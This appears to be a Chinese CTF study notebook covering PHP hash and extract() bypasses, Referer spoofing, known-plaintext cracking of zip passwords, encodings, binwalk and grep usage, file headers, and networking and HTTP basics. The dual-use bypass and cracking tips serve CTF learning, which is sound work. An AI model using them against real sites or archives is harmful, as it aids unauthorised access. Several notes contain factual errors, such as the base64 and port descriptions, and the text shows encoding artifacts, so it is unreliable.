$data2="\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70";
#79054025255fb1a26e4bc422aef54eb4
新的加密函數(shù)
sha1()漏洞:
sha1()也不能處理數(shù)組,處理數(shù)組會返回false,
67,
mysqli_query(connection,query,resultmode)
| connection | 必需。規(guī)定要使用的 MySQL 連接。 |
| query | 必需,規(guī)定查詢字符串。 |
| resultmode | 可選。一個常量 |
68,HTTP Referer是header的一部分,當瀏覽器向web服務器發(fā)送請求的時候,一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器基此可以獲得一些信息用于處理。(這里可以通過修改referer來設置虛假瀏覽器)
這里的referer:是自己手動添加的 bugku中的一個題
69,
當題目的源代碼中既有get【】傳參 又有post【】傳參時,get傳入的參數(shù)就直接在url中加入,post傳入的參數(shù)就用harkber去傳
70,
extract() 函數(shù)從數(shù)組中將變量導入到當前的符號表。
該函數(shù)使用數(shù)組鍵名作為變量名,使用數(shù)組鍵值作為變量值。針對數(shù)組中的每個元素,將在當前符號表中創(chuàng)建對應的一個變量。
71,密碼:
?
| 密碼: | 密文: | 原文: | 備注: |
| 柵欄密碼: | fg2ivyo}l{2s3_o@aw__rcl@? | flag{w22_is_v3ry_cool} | 所謂柵欄密碼,就是把要加密的明文分成N個一組,然后把每組的第1個字連起來,形成一段無規(guī)律的話。 不過柵欄密碼本身有一個潛規(guī)則,就是組成柵欄的字母一般不會太多。(一般不超過30個,也就是一、兩句話) (用一定的規(guī)則把原文打亂然后用@連接) ? |
| md5 | 18414996c5377f5f4419a40eba901789 | flag{hello_world!} | ?一般為32位? 由數(shù)字和小寫字母組成 |
| base64 | TVNEUzQ1NkFTRDEyM3p6= | MSDS456ASD123zz | base64 的空格被加密成= |
| base 16 | 666C61677B6D795F6E616D655F482121487D | flag{my_name_H!!H} | ?由數(shù)字和大寫字母組成 |
| unicode | \u0066\u006c\u0061\u0067\u007b\u0069\u005f\u0077 \u0069\u006c\u006c\u005f\u006b\u0069\ u006c\u006c\u005f\u0079\u006f\u0075 \u0021\u007d ? ? | flag{i_will_kill_you!} | 萬國碼:每一字符都用一個5位字符編碼表示,并用\分割 |
| ? | ? | ? | ? |
| ? | ? | ? | ? |
| ? | ? | ? | ? |
| ? | ? | ? | ? |
? ? ? ? ? ? ? ?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
72:grep:
grep命令(Global Regular Expression Print)是 Linux系統(tǒng)中一種強大的文本搜索工具,它能使用正則表達式搜索文本,并把匹 配的行打印出來 。
grep 是linux中最為常用的三大文本(awk,sed,grep)處理工具之一
搜索的字符串可以直接用正則表達的形式表示grep 'oo' 12.xt 搜索oogrep -n 'oo' 12.txt 顯示oo所在的行和行號grep -v 'oo' 12.txt 查看非oo的字符grep -i 'oo' 12.txt 忽略大小寫grep -o 'oo' 12.txt 只顯示匹配到的字符串grep -c 'oo' 12.txt 統(tǒng)計匹配到的行數(shù)下面還有一些有意思的命令行參數(shù):
grep -i pattern files :不區(qū)分大小寫地搜索。默認情況區(qū)分大小寫,
grep -l pattern files :只列出匹配的文件名,
grep -L pattern files :列出不匹配的文件名,
grep -w pattern files :只匹配整個單詞,而不是字符串的一部分(如匹配’magic’,而不是’magical’),
grep -C number pattern files :匹配的上下文分別顯示[number]行,
grep pattern1 | pattern2 files :顯示匹配 pattern1 或 pattern2 的行,
grep pattern1 files | grep pattern2 :顯示既匹配 pattern1 又匹配 pattern2 的行。
?
72?
在linux下打不開,可能是寬高有問題:
扔進winhex,文件頭數(shù)據(jù)塊IHDR(headerchunk):
? ? ? ? ? ? ? ? ? ? ?
一共7個塊:分別是寬、高、圖像深度、顏色類型、壓縮方法、濾波器方法、隔行掃描方法(1隔行,0非隔行)
73?
1常用壓縮解壓縮命令:?
1.命令:gzip ?(壓縮文件)壓縮文件后綴.gzps: gzip test.txt 結果:生成文件test.txt.gz,原文件test.txt消失。注意:只能壓縮文件,不能壓縮目錄,壓縮后不保留 原始文件,壓縮比大概1/5解壓命令:gunzip2.命令:tar (打包壓縮目錄) 嚴格意義上來說此命令為“打包”命令,將目錄打包成一個*.tar文件語法:tar 選項 壓縮后文件名 目錄壓縮文件后綴:*.tar.gz選項:[-zcvf] -c 打包-v 顯示詳細信息-f ?指定后文件名-z 打包同時壓縮ps:#mkdir Japan ? ? ? ? ? ? ? ? ? ? ? 生成Japan目錄#tar -zcvf Japan.tar.gz Japan 生成Japan.tar.gz壓縮文件解壓命令:tar [選項] 壓縮文件.tar.gz[-zxvf] ?-x 解包-v 顯示詳細信息-f ?指定后文件名-z 解壓縮 ps:tar -zxvf Japan.tat.gz3.命令:zip (壓縮文件或目錄)壓縮文件后綴 :*.zip語法:zip [選項] 壓縮后文件名 文件或目錄-r ? ?壓縮目錄ps:#zip -r Japan.zip Japan ? 壓縮目錄Japan,生成Japan.zip文件。#zip ?test.txt.zip test.txt ?壓縮文件test.txt,生成test.txt.zip文件,保留原始文件 解壓命令:unzip ?文件名 注意:壓縮后保留原始文件,壓縮比不如gzip.4.命令:bzip2 ? ? ? ?(gzip的升級版,壓縮比驚人)壓縮文件后綴:*.bz2語法:bzip2 [選項] 文件-k ?壓縮后保留原始文件ps: bzip2 -k test.txt ? ?生成test.txt.bz2文件,原始文件test.txt保留著。 打包壓縮 tar -cjvf 打包壓縮后文件名 ?目錄 解包解壓 tar -xjvf 文件 2 查找文件內(nèi)容 grep 命令:二、grep命令
基本格式:find ?expression1.主要參數(shù)[options]主要參數(shù):-c:只輸出匹配行的計數(shù)。-i:不區(qū)分大小寫-h:查詢多文件時不顯示文件名。-l:查詢多文件時只輸出包含匹配字符的文件名。-n:顯示匹配行及行號。-s:不顯示不存在或無匹配文本的錯誤信息。-v:顯示不包含匹配文本的所有行。pattern正則表達式主要參數(shù):\: 忽略正則表達式中特殊字符的原有含義。^:匹配正則表達式的開始行。$: 匹配正則表達式的結束行。\<:從匹配正則表達 式的行開始。\>:到匹配正則表達式的行結束。[ ]:單個字符,如[A]即A符合要求 。[ - ]:范圍,如[A-Z],即A、B、C一直到Z都符合要求 。.:所有的單個字符。* :有字符,長度可以為0。(1) 用 gerp? ‘flag’? flag.bin? -a? 進行查找
?
74 binwalk 常用命令:
(1)簡單列出文件:
$ binwalk flag.bin(2)提取文件:
$ binwalk -e flag.bin(3)遞歸提取:? (很多次,提取的數(shù)據(jù)可能需要進一步binwalk的分析,-M選項將提取的文件8層遞歸,且忽略外部提取工具可以創(chuàng)建任何目錄)
$ binwalk -Me flag.bin(4)比較功能:? (? Binwalk可以生成一個或多個文件的十六進制轉(zhuǎn)儲和差別。在文件當中相同字節(jié)的是綠色顯示,不同的是紅色顯示,藍色表示只是有些文件當中的不同部分)
$ binwalk -w flag.bin flag(1).bin(5)功能轉(zhuǎn)換: (? binwalk使用 -C 選項來完成多個不用文件類型轉(zhuǎn)換; 通常最好是使用-l選項來限制這種掃描:)
$ binwalk -l 32 -C flag.bin(6)包含過濾器:
?( -y選項僅包括指定的搜索文本匹配的結果。搜索字符串(文本)應當使用小寫,包括正則表達式,并且可以指定多個-Y選項。 下列搜索結果只包含文本“文件系統(tǒng)”中搜索出來的結果。(也就說使用了 filesystem的Y選項的話結果中只包含文本字符結果))
$ binwalk -y filesystem firmware.bin(7)排除過濾器:
(? -x選項是排除搜索結果中的指定符合規(guī)則的文本(或者字符串)。 搜索字符串(文本)應當使用小寫,包括正則表達式,并且可以指定多個-X選項。 下列例子中搜索時將排除“jffs2”字符串:)
$ binwalk -x jffs2 firmware.bin(8)?高級過濾器
? (可以將包含和排除過濾兩功能結合使用:
? 例子:下列搜索結果即包含文本“文件系統(tǒng)”中搜索出來的結果又排除jffs2字符串結果。)
$ binwalk -y filesystem -x jffs2 firmware.bin(9)掃描zlib壓縮包
$ binwalk --enable-plugin=zlib firmware.bin(10)搜索字符串:
$ binwalk -R 'key' flag.bin75,
用 rm? -rf? 刪除文件夾
rmdir 只能用來刪除 空文件夾
76,JPEG (jpg),文件頭:FFD8FFE0或FFD8FFE1或FFD8FFE8
77,? PK 開頭的文件是壓縮包
78,明文攻擊是一種較為高效的攻擊手段,大致原理是當你不知道一個zip的密碼,但是你有zip中的一個已知文件(文件大小要大于12Byte)或者已經(jīng)通過其他手段知道zip加密文件中的某些內(nèi)容時,因為同一個zip壓縮包里的所有文件都是使用同一個加密密鑰來加密的,所以可以用已知文件來找加密密鑰,利用密鑰來解鎖其他加密文件
79?
| JPEG (jpg) | FFD8FFE0或FFD8FFE1或FFD8FFE8 | FF? |
| PNG (png) | 89 50 4E 47 | 00 3B? |
| 25 50 44 46 2D 31 2E | ? | |
| Windows Password (pwl) | E3 82 85 96 | ? |
| ? ZIP Archive (zip) | 50 4B 03 04 | 50 4B |
| 壓縮包 | PK | ? |
| Word/Excel (xls.or.doc) | D0 CF 11 E0 | ? |
| HTML (html) | 68 74 6D 6C 3E | ? |
| MIDI (mid) | 4D 54 68 64 | ? |
| 7z | 37 7A BC AF 27 1C | ? |
| GIF? | 47 49? 46 38? 39 61 | ? |
| bmp | 42 4D 76 68 | ? |
128個常見的文件頭信息對照表:?https://blog.csdn.net/ccj2020/article/details/87603903
?
80,chr() Python內(nèi)置函數(shù) (括號里可以是10進制,或16進制) 返回對應的ASCLL 碼
? ? ? ?int (i,base) i 為進制字符串,base 為對應的進制,返回對應的十進制
81,一定要注意 提示信息的? 周圍? 還有沒有 其他信息? 比如文件頭被修改的 壓縮文件等
把文件頭修改正確之后才能審查出來 壓縮文件
82:正則表達匹配:
中文字符:
表達一: [\u4e00-\u9fa5]表達二:[\x{4e00}-\x{9fa5}]?
匹配 emali 地址:
function valid_email($address) {if (ereg('^[a-zA-Z0-9_\.\-]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$', $address)) {return true;} else {return false;} }function valid_email($address) {if (preg_match('^[a-zA-Z0-9_\.\-]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$^', $address)) {return true;} else {return false;} }匹配國內(nèi)電話號碼:
\d{3}-\d{8}|\d{4}-\d{7}匹配IP地址:
//python re.match(r'((([0-9]?\d)|(1\d{2})|(2[0-4]\d)|(25[0-5]))\.){3}(([0-9]?\d)|(1\d{2})|(2[0-4]\d)|(25[0-5]))',sd)匹配URL:
<?php$url = 'https://www.baidu.com'; if(@fopen($url,'r')){return ture; }else{return false; }?>//調(diào)用 fopen()函數(shù)檢查能否打開該 URL,來判斷該URL是否有效//匹配 URL的表達有很多,很亂,不如直接看是否能打開,能打開就是 有效的,不能打開的就是無效的83:php中也可以中 echo ,print,printf, 以及sprintf()
<?php$g = '232.3455'; $f = 'ffffff'; $s ='ssssss'; printf("THERE ARE THREE PERSON,%2\$.s,%1\$.2f,%3\$.s",$f,$g,$s);?>84: php 常用的讀取文件函數(shù) file()次函數(shù)讀取文件并把文件的每一行做為數(shù)組的一個元素存入數(shù)組里面
<?php// 獲取根目錄 $DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT']; //讀取文件并存入數(shù)組里面 $filearray = file("$DOCUMENT_ROOT/../WWW/1.txt"); foreach ($filearray as $value){echo ($value ."<br/>"); }?>85,id 和 class 選擇器:
(1)HTML元素以id屬性來設置id選擇器,CSS 中 id 選擇器以 "#" 來定義
(2)class 選擇器有別于id選擇器,class可以在多個元素中使用。class 選擇器在HTML中以class屬性表示, 在 CSS 中,類選擇器以一個點"."號顯示
86,外部式樣,使用方法:
<head> <link rel="stylesheet" type="text/css" href="mystyle.css"> </head>87,外部樣式表可以在任何文本編輯器中進行編輯。文件不能包含任何的 html 標簽。樣式表應該以 .css 擴展名進行保存
88,?不要在屬性值與單位之間留有空格
89,多重式樣:css的式樣可以重疊(繼承),如:外部式樣表和內(nèi)部式樣表可以同時定義一個屬性,
優(yōu)先級: 內(nèi)聯(lián)式樣? ?>? ?內(nèi)部式樣? ?>? ?外部式樣? ?>? ?瀏覽器默認式樣
90,PHP中strrchr() 函數(shù)查找字符串在另一個字符串中最后一次出現(xiàn)的位置,并返回從該位置到字符串結尾的所有字符
91,PHP中 對文件操作的函數(shù) 如 file_get_concents(), file_put_concents() ,fopen() 的路徑 中 win環(huán)境下可以用\\ 也可以用 /
Liunx 只能用 /? ?,盡量用? /
92 OSI參考模型? (開放系統(tǒng)互聯(lián)參考模型):七層,? ?
?
面向用戶?? 面向數(shù)據(jù)傳輸
七、應用層:為應用軟件提供接口,是應用程序能夠使用網(wǎng)絡服務
? ? ? ? ? ? ? ? ? ? ? 常見應用層協(xié)議: http(80)、發(fā)圖片(20/21)、stmp(25)、pop3(110)、Telnet(23)、dns(53) 等
?
六、表示層:?數(shù)據(jù)的格式化如:數(shù)據(jù)的編碼解碼、加密解密、壓縮解壓縮
? ? ? ? ? ? ? ? ? ? ?常見的表示層 協(xié)議:ASCII, JPEG. PNG, MP3. WAV, AVI,?
?
五、會話層:向兩個實體的表示層提供建立和使用連接的方法。將不同實體之間的表示層的連接稱為會話。因此會話層的任務就? ? ? ? ? ? ? ? ? ? ? ? 是組織和協(xié)調(diào)兩個會話進程之間的通信,并對數(shù)據(jù)交換進行管理,(簡單的說就是建立會話)
? ? ? ? ? ? ? ? ? ? ?功能包括:會話管理、會話流量控制、尋址、出錯控制
? ? ? ? ? ? ? ? ? ? ?常見會話層協(xié)議:NFS, SQL, ASP, PHP, JSP, RSVP(資源源預留協(xié)議), windows
?
四、傳輸層:該層是通信子網(wǎng)和資源子網(wǎng)的接口和橋梁,起到承上啟下的作用,
? ? ? ? ? ? ? ? ? ? ? 該層的主要任務是:向用戶提供可靠的端到端的差錯和流量控制,保證報文的正確傳輸
? ? ? ? ? ? ? ? ? ? ? 常見的協(xié)議:TCP/IP中的TCP協(xié)議、Novell網(wǎng)絡中的SPX協(xié)議和微軟的NetBIOS/NetBEUI協(xié)議
?
三、網(wǎng)絡層:它是OSI參考模型中最復雜的一層,也是通信子網(wǎng)的最高一層。它在下兩層的基礎上向資源子網(wǎng)提供服務
? ? ? ? ? ? ? ? ? ? ??其主要任務是:通過路由選擇算法,為報文或分組通過通信子網(wǎng)選擇最適當?shù)穆窂健T搶涌刂茢?shù)據(jù)鏈路層與傳輸層
? ? ? ? ? ? ? ? ? ? ? ?之間的信息轉(zhuǎn)發(fā),建立、維持和終止網(wǎng)絡的連接。具體地說,數(shù)據(jù)鏈路層的數(shù)據(jù)在這一層被轉(zhuǎn)換為數(shù)據(jù)包,然后
? ? ? ? ? ? ? ? ? ? ? ?通過路徑選擇、分段組合、順序、進/出路由等控制,將信息從一個網(wǎng)絡設備傳送到另一個網(wǎng)絡設備
? ? ? ? ? ? ? ? ? ? ? 典型協(xié)議:IP,IPX,ICMP,ARP(IP->MAC),IARP
?
二、數(shù)據(jù)鏈路層:負責建立和管理節(jié)點間的鏈路。層通常又被分為介質(zhì)訪問控制(MAC)和邏輯鏈路控制(LLC)兩個子層? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?MAC子層的主要任務是解決共享型網(wǎng)絡中多用戶對信道競爭的問題,完成網(wǎng)絡介質(zhì)的訪問控制;
? ? ? ? ? ? ? ? ? ? ? ? ? LLC子層的主要任務是建立和維護網(wǎng)絡連接,執(zhí)行差錯校驗、流量控制和鏈路控制。
? ? ? ? ? ? ? ? ? ? ? ? ?該層的主要功能是:通過各種控制協(xié)議,將有差錯的物理信道變?yōu)闊o差錯的、能可靠傳輸數(shù)據(jù)幀的數(shù)據(jù)鏈路。
? ? ? ? ? ? ? ? ? ? ? ??典型協(xié)議:以太網(wǎng),幀中繼(古董級VPN)
?
一、物理層:是參考模型的最低層,也是OSI模型的第一層
? ? ? ? ? ? ? ? ? ?主要功能是:利用傳輸介質(zhì)為數(shù)據(jù)鏈路層提供物理連接,實現(xiàn)比特流的透明傳輸。
? ? ? ? ? ? ? ? ? ?物理層的作用是實現(xiàn)相鄰計算機節(jié)點之間比特流的透明傳送,盡可能屏蔽掉具體傳輸介質(zhì)和物理設備的差異。使? ? ? ? ? ? ? ? ? ? ? ? ? ? 其?上面的數(shù)據(jù)鏈路層不必考慮網(wǎng)絡的具體傳輸介質(zhì)是什么。
? ? ? ? ? ? ? ? ??
93、
什么是 TCP/IP?
TCP/IP 是供已連接因特網(wǎng)的計算機進行通信的通信協(xié)議。
TCP/IP 指傳輸控制協(xié)議/網(wǎng)際協(xié)議(Transmission?Control?Protocol?/?Internet?Protocol)。
TCP/IP 定義了電子設備(比如計算機)如何連入因特網(wǎng),以及數(shù)據(jù)如何在它們之間傳輸?shù)臉藴省?/p>
?
94,TCP/IP 是基于 TCP 和 IP 這兩個最初的協(xié)議之上的不同的通信協(xié)議的大集合
? ? ? TCP 負責兩個應用程序的通信,它會發(fā)送一個請求到確切的地址,在雙方“握手”之后,建立一個 全雙工 通信
? ? ? ?IP 負責計算機之間的通信,TCP將數(shù)據(jù)分割為獨立的小包 ,IP并通過? TCP建立的通信 ,將每個包 路由到它的目的地
他們協(xié)同工作
95,TCP/IP 使用 32 個比特(32比特=4字節(jié))或者 4 組 0 到 255 之間的數(shù)字來為計算機編址,? 32個比特分為4組,每組8個比特,所以最大值是 255
?IPv6 地址的 128 位(16 個字節(jié))寫成 8 個 16 位的無符號整數(shù),每個整數(shù)用 4 個十六進制位表示,這些數(shù)之間用冒號(:)分開,例如:
本地鏈接 IPv6 地址. . . . . . . . : fe80::ecc0:d78c:e6b2:6291%16IPv4 地址 . . . . . . . . . . . . : 192.168.199.116子網(wǎng)掩碼 . . . . . . . . . . . . : 255.255.255.0默認網(wǎng)關. . . . . . . . . . . . . : 192.168.199.1SMTP - 簡單郵件傳輸協(xié)議
POP - 郵局協(xié)議
IMAP - 因特網(wǎng)消息訪問協(xié)議
96,
HTTP協(xié)議(HyperText Transfer Protocol,超文本傳輸協(xié)議)是因特網(wǎng)上應用最為廣泛的一種網(wǎng)絡傳輸協(xié)議,所有的WWW文件都必須遵守這個標準。HTTP默認端口號為80,但是你也可以改為8080或者其他端口
HTTP是一個基于TCP/IP通信協(xié)議來傳遞數(shù)據(jù),瀏覽器作為HTTP客戶端通過URL向HTTP服務端即WEB服務器發(fā)送所有請求。
Web服務器有:Apache服務器,IIS服務器(Internet Information Services)等。
97,
客戶端發(fā)送一個HTTP請求到服務器的請求消息包括以下格式:請求行(request line)、請求頭部(header)、空行和請求數(shù)據(jù)四個部分組成,下圖給出了請求報文的一般格式。
?
服務器響應消息
HTTP響應也由四個部分組成,分別是:狀態(tài)行、消息報頭、空行和響應正文
98,HTTP 請求方法
| 1 | get | 請求指定的頁面信息,并返回實體主體。 |
| 2 | head | 類似于 GET 請求,只不過返回的響應中沒有具體的內(nèi)容,用于獲取報頭 |
| 3 | post | 向指定資源提交數(shù)據(jù)進行處理請求(例如提交表單或者上傳文件)。數(shù)據(jù)被包含在請求體中。POST 請求可能會導致新的資源的建立和/或已有資源的修改。 |
| 4 | put | 從客戶端向服務器傳送的數(shù)據(jù)取代指定的文檔的內(nèi)容。 |
| 5 | delete | 請求服務器刪除指定的頁面。 |
| 6 | connect | HTTP/1.1 協(xié)議中預留給能夠?qū)⑦B接改為管道方式的代理服務器。 |
| 7 | options | 允許客戶端查看服務器的性能。 |
| 8 | trace | 回顯服務器收到的請求,主要用于測試或診斷。 |
| 9 | patch | 是對 PUT 方法的補充,用來對已知資源進行局部更新 。 |
99,
常見的HTTP狀態(tài)碼:
- 200 - 請求成功
- 301 - 資源(網(wǎng)頁等)被永久轉(zhuǎn)移到其它URL
- 404 - 請求的資源(網(wǎng)頁等)不存在
- 500 - 內(nèi)部服務器錯誤
100,Content-Type,內(nèi)容類型,一般是指網(wǎng)頁中存在的Content-Type,用于定義網(wǎng)絡文件的類型和網(wǎng)頁的編碼,決定瀏覽器將以什么形式、什么編碼讀取這個文件,? ?Servlet默認為text/plain,但通常需要顯式地指定為text/html
?
?
?
?
?
?
?
?
?
?
總結
- 上一篇: 大连理工大学操作系统上机实验二
- 下一篇: 电脑网速慢怎么解决?提升网速真的很容易!